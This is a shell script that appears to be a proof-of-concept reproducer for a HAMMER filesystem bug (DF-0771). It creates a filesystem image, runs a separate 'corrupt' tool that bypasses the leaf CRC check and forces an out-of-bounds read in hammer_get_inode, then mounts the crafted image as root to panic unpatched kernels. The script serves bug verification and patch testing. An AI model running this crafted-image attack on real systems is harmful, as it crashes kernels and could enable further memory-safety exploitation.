#!/bin/sh
# DF-0771 LIVE-PATH reproducer — proves the bug fires on the real kernel
# mount path. MUST run as root (the threat model is root/operator mounting
# an attacker-supplied HAMMER filesystem image).
#
# Creates a HAMMER image, finds the root-inode B-Tree leaf, rewrites its
# data_len to 1 and data_crc to 0 (bypassing hammer_crc_test_leaf), bumps
# data_offset's within-buffer xoff past 16256 so the 128-byte struct copy
# at hammer_inode.c:525 reads past the 16 KiB data buffer, recomputes the
# B-Tree node CRC, then mounts.
#
#   UNPATCHED kernel (#0): mount panics in hammer_get_inode reading atime
#     past the buffer into an unmapped page (see panic.txt).
#   PATCHED   kernel (#1): mount fails cleanly with EIO; dmesg shows
#     "hammer_get_inode: bad inode data_len 1 for obj_id=..."; guest stays up.
#
# Usage: sudo ./reproducer-live.sh [oob]
#   (no arg) : data_len=1, data_crc=0, xoff=0  (CRC bypass; mounts on unpatched)
#   oob      : also bump xoff to 16264         (CRC bypass + OOB -> panic on unpatched)
set -e
cd "$(dirname "$0")"

MODE="${1:-plain}"
IMG=/root/hammer.img
MNT=/mnt/craft

vnconfig -u vn0 2>/dev/null || true
umount $MNT 2>/dev/null || true
rm -f $IMG
dd if=/dev/zero of=$IMG bs=1m count=0 oseek=10240 status=none
vnconfig -c vn0 $IMG
newfs_hammer -f -L craft /dev/vn0 >/dev/null 2>&1

if [ "$MODE" = "oob" ]; then
    /home/maxx/poc/DF-0771/corrupt /dev/vn0 oob
else
    /home/maxx/poc/DF-0771/corrupt /dev/vn0
fi

mkdir -p $MNT
echo "=== mounting crafted image on $(sysctl -n kern.version | head -1) ==="
mount_hammer /dev/vn0 $MNT
echo "MOUNT_RC=$?"
echo "=== guest still up? ==="
uptime
echo "=== dmesg tail ==="
dmesg | tail -8
